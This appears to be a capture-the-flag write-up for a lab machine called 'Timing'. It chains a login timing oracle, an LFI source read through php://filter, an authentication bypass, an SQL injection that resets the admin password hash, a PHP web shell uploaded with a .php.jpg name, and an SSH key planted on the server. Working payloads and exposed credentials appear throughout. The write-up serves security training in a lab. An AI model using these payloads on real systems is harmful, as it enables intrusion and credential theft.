Timing
22 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.135
- Release: 11 / 12 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.135 -p 22,80
Nmap scan report for 10.10.11.135
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.51 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Web enumeration
If we go to http://10.10.11.135 we will be redirected to a login form (/login.php
):
We can try some default credentials but we get an error message:
However, due to the name of the machine (“Timing”), we might think of timing attacks. Here we have a simple proof of concept using curl
:
$ time curl '10.10.11.135/login.php?login=true' -sd 'user=admin&password=x' > /dev/null
1,36 real 0,01 user 0,00 sys
$ time curl '10.10.11.135/login.php?login=true' -sd 'user=asdf&password=x' > /dev/null
0,24 real 0,01 user 0,00 sys
So we must guess that admin
is a valid username. Let’s enumerate more users using ffuf
and this timing oracle:
$ ffuf -w $WORDLISTS/names.txt -u 'http://10.10.11.135/login.php?login=true' -H 'Content-Type: application/x-www-form-urlencoded' -d 'user=FUZZ&password=asdf' -t 5 -ft '<1000'
aaron [Status: 200, Size: 5963, Words: 1878, Lines: 188, Duration: 1149ms]
admin [Status: 200, Size: 5963, Words: 1878, Lines: 188, Duration: 1507ms]
Notice that I used 5 threads, if not we would get false positives. We can try to get their passwords, but they do not follow the same timing oracle.
So we need to continue enumerating. Let’s find more routes and files with ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.135/FUZZ -e .php
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 138ms]
login.php [Status: 200, Size: 5609, Words: 1755, Lines: 178, Duration: 50ms]
profile.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 68ms]
image.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
header.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 72ms]
footer.php [Status: 200, Size: 3937, Words: 1307, Lines: 116, Duration: 60ms]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 74ms]
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 81ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4219ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 80ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 104ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 80ms]
.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 80ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 60ms]
Finding LFI
Notice that there is a strange file called image.php
that gives 200 OK but no response body. Because of the name of the file, we might try to use some parameter and point it to a file. For instance, let’s use ffuf
again to see if we get the parameter name (we need to provide a valid file like /etc/passwd
):
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?FUZZ=/etc/passwd' -fs 0
img [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3158ms]
There it is, and it has a response body, let’s read it:
$ curl '10.10.11.135/image.php?img=/etc/passwd'
Hacking attempt detected!
Wow, they caught us. We have a potential Local File Inclusion (LFI). We know this because if we point the parameter to index.php
we don’t get any output and we get redirected to /login.php
(so the PHP code is executed):
$ curl '10.10.11.135/image.php?img=index.php' -i
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=3t8sqtja7l7ea3h3v9f904pc1l; expires=Wed, 01-Jun-2022 17:35:16 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ./login.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
However, we can extract the PHP source code using a PHP wrapper to convert it to Base64 encoding, so that there are no <?php
tags and the content is not executed. This is index.php
:
$ curl '10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=index.php'
PD9waHAKaW5jbHVkZV9vbmNlICJoZWFkZXIucGhwIjsKPz4KCjxoMSBjbGFzcz0idGV4dC1jZW50ZXIiIHN0eWxlPSJwYWRkaW5nOiAyMDBweCI+WW91IGFyZSBsb2dnZWQgaW4gYXMgdXNlciA8P3BocCBlY2hvICRfU0VTU0lPTlsndXNlcmlkJ107ID8+ITwvaDE+Cgo8P3BocAppbmNsdWRlX29uY2UgImZvb3Rlci5waHAiOwo/Pgo=
$ curl '10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=index.php' -s | base64 -d
<?php
include_once "header.php";
?>
<h1 class="text-center" style="padding: 200px">You are logged in as user <?php echo $_SESSION['userid']; ?>!</h1>
<?php
include_once "footer.php";
?>
Analyzing PHP source code
Now we can read the PHP source code. I will create a Bash function to read the files easily:
$ function read_file() { curl "10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=$1" -s | base64 -d; }
This is login.php
, let’s see how the password is checked:
$ read_file login.php
<?php
include "header.php";
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
<!-- ... -->
It uses password_verify
, which is not affected by timing attacks (as stated in www.php.net).
We can find database credentials in db_conn.php
(which is called in login.php
):
$ read_file db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
We may try to reuse these credentials for admin
or aaron
in the website, or even for aaron
in SSH. We know that it is a valid user because it appears in /etc/passwd
:
$ read_file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
Actually, this is the file we are currently exploiting:
$ read_file image.php
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
Indeed, we are exploiting a Local File Inclusion vulnerability (notice the use of the include
function). We could have also used uppercase letters to bypass filters:
$ curl '10.10.11.135/image.php?img=File:///etc/hosts'
127.0.0.1 localhost timing.htb
127.0.1.1 timing
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Now we should upgrade the LFI to a Remote Code Execution (RCE). Recall that ffuf
showed a file named upload.php
:
$ read_file upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
This file looks promising. If we were able to upload a PHP file to the server, we could access it though the LFI and gain RCE. But first we need to see what admin_auth_check.php
is used for:
$ read_file admin_auth_check.php
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
So we need to have a valid session and role
equals 1
. Notice that they are using !=
(and not !==
), so it is vulnerable to Type Juggling.
And we also need to bypass auth_check.php
…
$ read_file auth_check.php
<?php
//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);
// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);
session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
header('Location: ./login.php');
die();
}
?>
Here we have a misconfiguration, can you see it? The program will enter the if
block whenever our session is not set and whenever "login.php"
is not found in the request URI. Obviously, we cannot get a valid session from scratch (we don’t have valid credentials), so… We must access auth_check.php
but somehow add the string "login.php"
to the request URI so that the program does not enter the if
block.
We can do this simply adding login.php
as a query parameter. Mind the differences:
$ curl '10.10.11.135/auth_check.php' -i
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ian71bvoa9a3t6f2l35g53rl4t; expires=Wed, 01-Jun-2022 18:16:54 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ./login.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
$ curl '10.10.11.135/auth_check.php?login.php' -i
HTTP/1.1 200 OK
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=2li2bbhv1cafb9i4jkm74i5392; expires=Wed, 01-Jun-2022 18:16:56 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
So we have a way to bypass auth_check.php
. But we can’t bypass admin_auth_check.php
. Hence, let’s continue enumerating.
This is profile.php
:
$ read_file profile.php
<?php
include_once "header.php";
include_once "db_conn.php";
$id = $_SESSION['userid'];
// fetch updated user
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
?>
<script src="js/profile.js"></script>
<div class="container bootstrap snippets bootdey">
<div class="alert alert-success" id="alert-profile-update" style="display: none">
<strong>Success!</strong> Profile was updated.
</div>
<h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Edit Profile</h1>
<hr>
<div class="row">
<!-- left column -->
<div class="col-md-1">
</div>
<!-- edit form column -->
<div class="col-md-9 personal-info">
<h3>Personal info</h3>
<form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
<div class="form-group">
<label class="col-lg-3 control-label">First name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="firstName" id="firstName"
value="<?php if (!empty($user['firstName'])) echo $user['firstName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Last name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="lastName" id="lastName"
value="<?php if (!empty($user['lastName'])) echo $user['lastName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Company:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="company" id="company"
value="<?php if (!empty($user['company'])) echo $user['company']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Email:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="email" id="email"
value="<?php if (!empty($user['email'])) echo $user['email']; ?>">
</div>
</div>
<div class="container">
<div class="row">
<div class="col-md-9 bg-light text-right">
<button type="button" onclick="updateProfile()" class="btn btn-primary">
Update
</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<hr>
<?php
include_once "footer.php";
?>
And it uses auth_check.php
, so we can bypass it and access profile.php
:
If we look at the HTML <form>
, it will call updateProfile()
using JavaScript. The file is accessible in /js/profile.js
:
$ curl 10.10.11.135/js/profile.js
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
The request is performed using AJAX to profile_update.php
. Let’s read it:
$ read_file profile_update.php
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
Here we have two things. The first one that jumps out is a SQL injection vulnerability because of string interpolation (the contents of the variables get inserted within the SQL query with no sanitization):
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
Using SQLi, we can get the contents of the database (namely, the hashed passwords for aaron
and admin
) and even modify them.
Moreover, we can assign a role
in our current session, which can be used to pass the validation of admin_auth_check.php
:
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
However, we still need a valid user session in order to reach those lines of code.
But we can try more things, like password guessing. Unexpectedly, aaron
’s password is indeed aaron
. Now we have legitimate access to profile.php
(no bypass needed):
At this point, I will change the role
to 1
in the user’s session. For that, I will still use curl
with the corresponding PHPSESSID
cookie:
$ curl '10.10.11.135/login.php?login=true' -sid 'user=aaron&password=aaron' | grep PHPSESSID
Set-Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a; expires=Wed, 01-Jun-2022 20:17:47 GMT; Max-Age=3600; path=/
$ curl '10.10.11.135/profile_update.php?login.php' -sH 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a' -d "firstName=x&lastName=x&email=x&company=x&role=1"
{
"id": "2",
"0": "2",
"username": "aaron",
"1": "aaron",
"password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"lastName": "x",
"3": "x",
"firstName": "x",
"4": "x",
"email": "x",
"5": "x",
"role": "1",
"6": "1",
"company": "x",
"7": "x"
}
$ curl '10.10.11.135/admin_auth_check.php?login.php' -H 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a'
So now we have no errors in admin_auth_check.php
because our session role
is "1"
, which has the same value as 1
(Type Juggling).
Just to show how to exploit SQLi to gain admin
access (so that we don’t need to change aaron
’s role), we can use the following payload to modify the password for admin
and set it to aaron
(we will enter the same hash):
firstName=admin',password='$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq' where id=1-- -
$ curl '10.10.11.135/profile_update.php?login.php' -sH 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a' -d "firstName=admin',password='\$2y\$10\$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq'+where+id=1--+-&lastName=x&email=x&company=x&role=1"
{
"id": "2",
"0": "2",
"username": "aaron",
"1": "aaron",
"password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"lastName": "x",
"3": "x",
"firstName": "x",
"4": "x",
"email": "x",
"5": "x",
"role": "1",
"6": "1",
"company": "x",
"7": "x"
}
Now we can access with credentials admin:aaron
:
And we can see the upload feature directly in the browser:
Getting RCE
At this point, we might want to upload some file with PHP code to gain RCE through the LFI. Let’s review the source code for upload.php
:
$ read_file upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
There are lots of things to analyze. First of all, the file will be stored at /images/uploads/
and the name of the file will set to:
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
There is a bug here, because $file_hash
does nothing. The use of single quotes instead of double quotes matters here, just test it:
$ php -a
Interactive shell
php > $file_hash = uniqid();
php > echo '$file_hash';
$file_hash
php > echo "$file_hash";
6297dc93794b4
Moreover, the filename is the MD5 hash of a string with a time value:
php > $file = 'r.php';
php > $file_name = md5('$file_hash' . time()) . '_' . basename($file);
php > echo $file_name;
8341c71500f186c3ce6ca74204769606_r.php
The string that is hashed is something like this:
php > echo '$file_hash' . time();
$file_hash1654119787
php > echo '$file_hash' . time();
$file_hash1654119788
php > echo '$file_hash' . time();
$file_hash1654119789
php > echo '$file_hash' . time();
$file_hash1654119790
It changes every second. There is another check if we send submit
in the request form:
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
Another important check is the file extension:
$upload_dir = "images/uploads/";
// ...
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// ...
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
With r.php
, we will get php
extension:
php > $upload_dir = "images/uploads/";
php > $target_file = $upload_dir . $file_name;
php > $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
php > echo $imageFileType;
php
But if we use r.php.jpg
, the file is interpreted as jpg
:
php > $file = 'r.php.jpg';
php > $file_name = md5('$file_hash' . time()) . '_' . basename($file);
php > echo $file_name;
9a3b65d2e18bf402d3715ac15ec5be2a_r.php.jpg
php > $target_file = $upload_dir . $file_name;
php > $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
php > echo $imageFileType;
jpg
If there are no errors, the file gets stored at /images/uploads/
:
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
At this point, I decided to write a Python script to do everything needed to upload the file and then provide the URL of the filename with the PHP web shell: upload.py
(detailed explanation here):
$ python3 upload.py
Cookie: PHPSESSID=dg8sokd2ki84a93ggp2tttrlm6
RCE: http://10.10.11.135/images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg
$ curl 10.10.11.135/images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg
<?php system($_GET["cmd"]); ?>
And there we have our web shell. Now we have RCE through LFI:
$ curl '10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=whoami'
www-data
However, we are not able to get a reverse shell on the server. There must be some iptables
rules that don’t allow connections. So we must use the web shell.
System enumeration
I defined another Bash function to keep commands shorter:
$ function rce() { curl -sG 'http://10.10.11.135/image.php' --data-urlencode 'img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg' --data-urlencode "cmd=$1" -o -; }
$ rce 'ls -la'
total 72
drwxr-xr-x 5 www-data www-data 4096 Dec 2 14:10 .
drwxr-xr-x 5 www-data www-data 4096 Nov 29 2021 ..
-rw-r--r-- 1 root root 200 Jul 18 2021 admin_auth_check.php
-rw-r--r-- 1 root root 379 Jul 22 2021 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 18 2021 avatar_uploader.php
drwxrwxr-x 2 root root 4096 Nov 29 2021 css
-rw-r--r-- 1 root root 92 Jul 20 2021 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 18 2021 footer.php
-rw-r--r-- 1 root root 1498 Nov 30 2021 header.php
-rw-r--r-- 1 root root 507 Jul 18 2021 image.php
drwxrwxr-x 3 root root 4096 Nov 29 2021 images
-rw-r--r-- 1 root root 188 Jul 18 2021 index.php
drwxrwxr-x 2 root root 4096 Nov 29 2021 js
-rw-r--r-- 1 root root 2072 Oct 5 2021 login.php
-rw-r--r-- 1 root root 113 Jul 18 2021 logout.php
-rw-r--r-- 1 root root 3041 Jul 18 2021 profile.php
-rw-r--r-- 1 root root 1740 Jul 18 2021 profile_update.php
-rw-r--r-- 1 root root 1018 Dec 2 14:10 upload.php
Even if we try to generate SSH keys and add them to /var/www/.ssh/authorized_keys
, we are not allowed to access the server:
$ rce 'grep www-data /etc/passwd'
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
$ rce 'mkdir /var/www/.ssh'
$ rce 'ls -la /var/www/'
total 24
drwxr-xr-x 6 www-data www-data 4096 Jun 1 20:42 .
drwxr-xr-x 14 root root 4096 Nov 29 2021 ..
lrwxrwxrwx 1 root root 9 Oct 5 2021 .bash_history -> /dev/null
drwxr-x--- 3 www-data www-data 4096 Nov 29 2021 .config
drwx------ 2 www-data www-data 4096 Nov 29 2021 .gnupg
drwxr-xr-x 2 www-data www-data 4096 Jun 1 20:42 .ssh
drwxr-xr-x 5 www-data www-data 4096 Dec 2 14:10 html
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:QFWHOQWlYor2bYFXtmu8ECG1hadx1221W94UFrjp7ck
The key's randomart image is:
+---[RSA 3072]----+
| ..oo+*+..=+|
| . .oo*o..o =|
| o ==+o ooo|
| . *.= . o o+|
| o o S . . ..o|
| . . o + . . . |
| . + + o .|
| . o . E |
| . |
+----[SHA256]-----+
$ rce "echo '$(cat id_rsa.pub)' >> /var/www/.ssh/authorized_keys"
$ rce 'ls -la /var/www/.ssh'
total 12
drwxr-xr-x 2 www-data www-data 4096 Jun 1 20:43 .
drwxr-xr-x 7 www-data www-data 4096 Jun 1 20:44 ..
-rw-r--r-- 1 www-data www-data 575 Jun 1 20:45 authorized_keys
$ ssh -i id_rsa www-data@10.10.11.135 bash
This account is currently not available.
We may notice the permissions set to /home/aaron
:
$ rce 'ls -la /home/'
total 12
drwxr-xr-x 3 root root 4096 Dec 2 09:55 .
drwxr-xr-x 24 root root 4096 Nov 29 2021 ..
drwxr-x--x 5 aaron aaron 4096 Jun 1 20:36 aaron
We can access files inside if we know the full filename. For instance:
$ rce 'ls -la /home/aaron/.bashrc'
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 /home/aaron/.bashrc
$ rce 'ls -la /home/aaron/.bash_history'
lrwxrwxrwx 1 root root 9 Oct 5 2021 /home/aaron/.bash_history -> /dev/null
$ rce 'ls -la /home/aaron/user.txt'
-rw-r----- 1 root aaron 33 Jun 1 04:01 /home/aaron/user.txt
It might seem weird, but let’s use ffuf
again to enumerate directories and files at /home/aaron/
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=ls+-la+/home/aaron/FUZZ' -e .txt -fs 0
user.txt [Status: 200, Size: 61, Words: 10, Lines: 2, Duration: 47ms]
Let’s add a .
at the start of the filename to look for hidden files and directories, but nothing interesting at all:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=ls+-la+/home/aaron/.FUZZ' -e .txt -fs 0
profile [Status: 200, Size: 63, Words: 11, Lines: 2, Duration: 67ms]
local [Status: 200, Size: 149, Words: 29, Lines: 5, Duration: 108ms]
Then, we must continue enumerating. Eventually, we will notice that there is a backup file in /opt/
:
$ rce 'ls -la /opt'
total 624
drwxr-xr-x 2 root root 4096 Dec 2 11:19 .
drwxr-xr-x 24 root root 4096 Nov 29 2021 ..
-rw-r--r-- 1 root root 627851 Jul 20 2021 source-files-backup.zip
So let’s download and analyze it:
$ rce 'cat /opt/source-files-backup.zip' > source-files-backup.zip
$ file source-files-backup.zip
source-files-backup.zip: Zip archive data, at least v1.0 to extract, compression method=store
Everything correct. With unzip -l
we can verify that the contents of the ZIP archive are not malicious ones, and then we can uncompress the file. We have these directories:
$ unzip -q source-files-backup.zip
$ ls -a backup
. auth_check.php footer.php index.php profile.php
.. avatar_uploader.php header.php js profile_update.php
.git css image.php login.php upload.php
admin_auth_check.php db_conn.php images logout.php
There’s a .git
directory, so we must check old commits to see if we find something useful:
$ git log
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:34:13 2021 +0000
db_conn updated
commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:33:54 2021 +0000
init
Now let’s check the differences between the commits:
$ git diff 16de e4e2
diff --git a/db_conn.php b/db_conn.php
index 5397ffa..f1c9217 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
<?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
